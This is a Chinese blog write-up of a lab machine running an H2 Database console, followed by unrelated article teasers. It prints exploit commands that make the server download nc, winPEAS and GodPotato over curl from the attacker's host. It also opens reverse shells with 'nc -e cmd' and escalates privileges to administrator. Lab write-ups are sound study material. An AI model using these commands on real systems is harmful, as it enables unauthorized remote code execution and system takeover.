靶場（二十）---靶場體會小白心得 ---jacko

?老樣子開局先看端口，先看http端口

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
8082/tcp  open  http          H2 database http console
|_http-title: H2 Console
9092/tcp  open  XmlIpcRegSvc?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9092-TCP:V=7.95%I=7%D=6/7%Time=6843AA78%P=x86_64-pc-linux-gnu%r(NUL
SF:L,516,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0
SF:t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\
SF:0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l
SF:\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0
SF:h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x024\0o\0r\0g\0\.\0h\x002\0\.
SF:\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0N\0o\0n\0T\0r\0a\0n\0s\0i\0e\0n\
SF:0t\0C\0o\0n\0n\0e\0c\0t\0i\0o\0n\0E\0x\0c\0e\0p\0t\0i\0o\0n\0:\0\x20\0R
SF:\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x2
SF:0\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x
SF:20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o
SF:\0w\0O\0t\0h\0e\0r\0s\0\x20\0\[\x009\x000\x001\x001\x007\0-\x001\x009\x
SF:009\0\]\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a
SF:\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0J\0d\0b\0c\0S
SF:\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\
SF:0\.\0j\0a\0v\0a\0:\x006\x001\x007\0\)\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\
SF:0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\
SF:0n\0\.\0g\0e\0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\
SF:0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x004\x002\x007\0\)\0\r
SF:\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\
SF:0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\
SF:0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x002\x000\x005\0\)\0\r\0\n\0\t\0a\0t\0\x
SF:20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b")%r(informix
SF:,516,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0t
SF:\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\0
SF:s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l\
SF:0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0h
SF:\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x024\0o\0r\0g\0\.\0h\x002\0\.\
SF:0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0N\0o\0n\0T\0r\0a\0n\0s\0i\0e\0n\0
SF:t\0C\0o\0n\0n\0e\0c\0t\0i\0o\0n\0E\0x\0c\0e\0p\0t\0i\0o\0n\0:\0\x20\0R\
SF:0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20
SF:\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x2
SF:0\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\
SF:0w\0O\0t\0h\0e\0r\0s\0\x20\0\[\x009\x000\x001\x001\x007\0-\x001\x009\x0
SF:09\0\]\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\
SF:0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0J\0d\0b\0c\0S\
SF:0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0
SF:\.\0j\0a\0v\0a\0:\x006\x001\x007\0\)\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0
SF:\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0
SF:n\0\.\0g\0e\0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0
SF:b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x004\x002\x007\0\)\0\r\
SF:0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0
SF:D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0
SF:t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x002\x000\x005\0\)\0\r\0\n\0\t\0a\0t\0\x2
SF:0\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-06-07T02:59:35
|_  start_date: N/A

?80端口無突出點，但是8082端口有個連接數據庫的登錄界面，先直接嘗試連接，發現可以直接登錄

然后順便發現了有一個注入遠控的命令exp，只需要復制粘貼即可

這里直接展示成果，證明exp可以用

然后就是直接下nc.exe，雖然底下爆紅了，但是可以看到有下載回顯，但是需要注意的點得有具體的下載位置

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/nc64.exe -o c:\\users\\tony\\nc.exe").getInputStream()).useDelimiter("\\Z").next()');

這里可以看到下載成功了

然后就是直接利用絕對路徑進行反連

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("c:\\users\\tony\\nc.exe 192.168.49.53 3344 -e cmd").getInputStream()).useDelimiter("\\Z").next()');

這里也是可以看到可以成功拿到shell

?當然如果你不想用tony這個絕對路徑，也可以用public這個地方的絕對路徑也行

再然后就是在拿到shell之后，我們發現無法下載東西，推測shell受到了限制，但是exe程序可以運行，所以我采取了原先上傳nc.exe命令，回到原先的web界面執行下載

也就是執行這個界面，用這個命令下載winpeas和其他利用工具

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/winPEASx64.exe -o c:\\users\\tony\\winPEASx64.exe").getInputStream()).useDelimiter("\\Z").next()');

然后在受害機上執行winpeas工具，發現了可以使用爛土豆提權

再執行相同的操作，上傳godpotato

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/GodPotato-NET4.exe -o c:\\users\\tony\\GodPotato-NET4.exe").getInputStream()).useDelimiter("\\Z").next()');

這里可以看到工具成功上傳

?然后執行godpotato

GodPotato-NET4.exe -cmd "nc.exe 192.168.49.53 1234 -e cmd.exe"

最后也是成功拿到管理員權限

?結尾：

這個靶場還是出乎意料的簡單，唯一的需要注意的點可能就是下載利用工具比較費勁，但是看到別人的wp跟我的利用手法有點區別，后面感興趣的話我可以再做額外補充

工具鏈接：

Release Release refs/heads/master 20250601-88c7a0f6 · peass-ng/PEASS-ng

?Release V1.20 · BeichenDream/GodPotato

H2 Database 1.4.199 - JNI Code Execution - Java local Exploit

Online - Reverse Shell Generator

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/web/82928.shtml
繁體地址，請注明出處：http://hk.pswp.cn/web/82928.shtml
英文地址，請注明出處：http://en.pswp.cn/web/82928.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

讓AI看見世界：MCP協議與服務器的工作原理

讓AI看見世界：MCP協議與服務器的工作原理

讓AI看見世界：MCP協議與服務器的工作原理 MCP（Model Context Protocol）是一種創新的通信協議，旨在讓大型語言模型能夠安全、高效地與外部資源進行交互。在AI技術快速發展的今天，MCP正成為連接AI與現實世界的重要橋梁。…
閱讀更多...
|從零開始的Pyside2界面編程| 用Pyside2打造一個AI助手界面

|從零開始的Pyside2界面編程| 用Pyside2打造一個AI助手界面

🐑 |從零開始的Pyside2界面編程| 用Pyside2打造一個AI助手界面 🐑 文章目錄 🐑 |從零開始的Pyside2界面編程| 用Pyside2打造一個AI助手界面 🐑?前言??調取Deepseek大模型??準備工作??調用API? ?將模型嵌入到ui界面中??…
閱讀更多...
如何利用Elastic Stack（ELK）進行安全日志分析

如何利用Elastic Stack（ELK）進行安全日志分析

在以下文章中，我將解釋如何使用Elastic Stack（ELK）進行安全日志分析，以提高安全性和監控網絡活動。ELK是一個功能強大的開源日志管理和分析平臺，由Elasticsearch、Logstash和Kibana組成，適用于各種用例&…
閱讀更多...
網絡安全-等級保護(等保)3-0 等級保護測評要求現行技術標準

網絡安全-等級保護(等保)3-0 等級保護測評要求現行技術標準

################################################################################ 第三章：測評要求、測評機構要求，最終目的是通過測評，所以我們將等保要求和測評相關要求一一對應形成表格。 GB/T 28448-2019 《信息安全技術 網絡安全等…
閱讀更多...
網絡通訊知識——通訊分層介紹，gRPC，RabbitMQ分層

網絡通訊知識——通訊分層介紹，gRPC，RabbitMQ分層

網絡通訊分層 網絡通訊分層是為了將復雜的網絡通信問題分解為多個獨立、可管理的層次，每個層次專注于特定功能。目前主流的分層模型包括OSI七層模型和TCP/IP四層（或五層）模型，以下是詳細解析： 一、OSI七層模型&#…
閱讀更多...
gopool 源碼分析

gopool 源碼分析

gopool gopool是字節跳動開源節流的gopkg包中協程池的一個實現。 關鍵結構 協程池： type pool struct {// The name of the poolname string// capacity of the pool, the maximum number of goroutines that are actually working// 協程池的最大容量cap int32…
閱讀更多...
【工作記錄】接口功能測試總結

【工作記錄】接口功能測試總結

如何對1個接口進行接口測試 一、單接口功能測試 1、接口文檔信息 理解接口文檔的內容： 請求URL: https://[ip]:[port]/xxxserviceValidation 請求方法: POST 請求參數: serviceCode(必填), servicePsw(必填) 響應參數: status, token 2、編寫測試用例 2.1 正…
閱讀更多...
Linux中su與sudo命令的區別：權限管理的關鍵差異解析

Linux中su與sudo命令的區別：權限管理的關鍵差異解析

💝💝💝歡迎蒞臨我的博客，很高興能夠在這里和您見面！希望您在這里可以感受到一份輕松愉快的氛圍，不僅可以獲得有趣的內容和知識，也可以暢所欲言、分享您的想法和見解。 推薦：「storms…
閱讀更多...
樂觀鎖與悲觀鎖的實現和應用

樂觀鎖與悲觀鎖的實現和應用

樂觀鎖與悲觀鎖：原理、實現與應用詳解 在并發編程和數據庫操作中，樂觀鎖和悲觀鎖是兩種重要的并發控制策略，它們在原理、實現方式和應用場景上存在顯著差異。下面我們將通過圖文結合的方式，深入探討這兩種鎖機制。 一、基本概念 1…
閱讀更多...
ios蘋果系統，js 滑動屏幕、錨定無效

ios蘋果系統，js 滑動屏幕、錨定無效

現象：window.addEventListener監聽touch無效，劃不動屏幕，但是代碼邏輯都有執行到。 scrollIntoView也無效。 原因：這是因為 iOS 的觸摸事件處理機制和 touch-action: none 的設置有關。ios有太多得交互動作，從而會影響…
閱讀更多...
Redis主從復制原理二 之 主從復制工作流程

Redis主從復制原理二 之 主從復制工作流程

概述 本文緊接「Redis主從復制的原理一 之 概述」，詳細介紹了Redis的主從服務過程及原理。 主從復制工作流程 主從復制過程大體可以分為3個階段： 建立連接階段（即準備階段）數據同步階段命令傳播階段 階段一：建立連接階…
閱讀更多...
Markdown基礎（1.2w字）

Markdown基礎（1.2w字）

1. Markdown基礎 這次就沒目錄了，因為md格式太亂了寫示例，展示那些都太亂了，導致目錄很亂。 （我是XX，出現了很多錯誤，有錯誤和我說） 1.1 Markdown簡介 Markdown是一種輕量級的標記語言&#…
閱讀更多...
JAVA-springboot log日志

JAVA-springboot log日志

SpringBoot從入門到精通-第8章 日志的操作 一、Spring Boot默認的日志框架 SpringBoot支持很多種日志框架，通常情況下，這些日志框架都是由一個日志抽象層和一個日志實現層搭建而成的，日志抽象層是為記錄日志提供的一套標準且規范的框架&…
閱讀更多...
Vue 渲染 Markdown 文件完全指南

Vue 渲染 Markdown 文件完全指南

前言 大家好，我是一諾，今天分享的是vue中渲染markdown文件。這是一個常見的需求，比如用戶隱私協議頁、技術說明等文檔頁面~ 本文將詳細介紹如何在 Vue 中渲染 Markdown 文件，并美化代碼塊的顯示效果。 基礎概念 什么是 Markdo…
閱讀更多...
Science Robotics：UCLA 賀曦敏團隊綜述自主軟體機器人

Science Robotics：UCLA 賀曦敏團隊綜述自主軟體機器人

在機器人中實現類似生命的自主性一直是研究的方向，但目前大多數軟體機器人仍依賴外部刺激操控來產生持續運動。為了實現能夠自我調節感知 、 決策和驅動的自主物理智能（autonomous physical intelligence，API），一種有前…
閱讀更多...
基于LangChain構建高效RAG問答系統：向量檢索與LLM集成實戰

基于LangChain構建高效RAG問答系統：向量檢索與LLM集成實戰

基于LangChain構建高效RAG問答系統：向量檢索與LLM集成實戰 在本文中，我將詳細介紹如何使用LangChain框架構建一個完整的RAG（檢索增強生成）問答系統。通過向量檢索獲取相關上下文，并結合大語言模型，我們能夠…
閱讀更多...
【Java學習筆記】SringBuffer類（重點）

【Java學習筆記】SringBuffer類（重點）

StringBuffer（重點） 1. 基本介紹 （1）StringBuffer是可變的字符序列，可以對字符串內容驚醒增刪 （2）很多方法喝String相同，但StringBuffer可變長度 （3）Strin…
閱讀更多...
計算機網絡領域所有CCF-A/B/C類期刊匯總！

計算機網絡領域所有CCF-A/B/C類期刊匯總！

本期小編統計了【計算機網絡】領域CCF推薦所有期刊的最新影響因子，分區、年發文量以及投稿經驗，供大家參考！ CCF-A類 1 IEEE Journal on Selected Areas in Communications 【影響因子】13.8 【期刊分區】JCR1區，中科院1區TOP …
閱讀更多...
AI-Sphere-Butler之如何啟動AI全能管家教程(WSL測試環境下適用)

AI-Sphere-Butler之如何啟動AI全能管家教程(WSL測試環境下適用)

環境： Ubuntu20.04 WSL2 問題描述： AI-Sphere-Butler之如何啟動AI全能管家教程(WSL測試環境下適用) 解決方案： 打開管家大模型 1.運行大模型在cmd下輸入： ollama run qwen2.5-3bnsfwny運行管家 數字人運行腳本&#xff…
閱讀更多...
【python深度學習】Day 47 注意力熱圖可視化

【python深度學習】Day 47 注意力熱圖可視化

知識點：熱力圖 作業：對比不同卷積層熱圖可視化的結果 一、概念 為了方便觀察輸出，將特征圖進行可視化。特征圖本質就是不同的卷積核的輸出，淺層指的是離輸入圖近的卷積層，淺層卷積層的特征圖通常較大，而深層…
閱讀更多...
最新文章

Copyright @ 2022~2023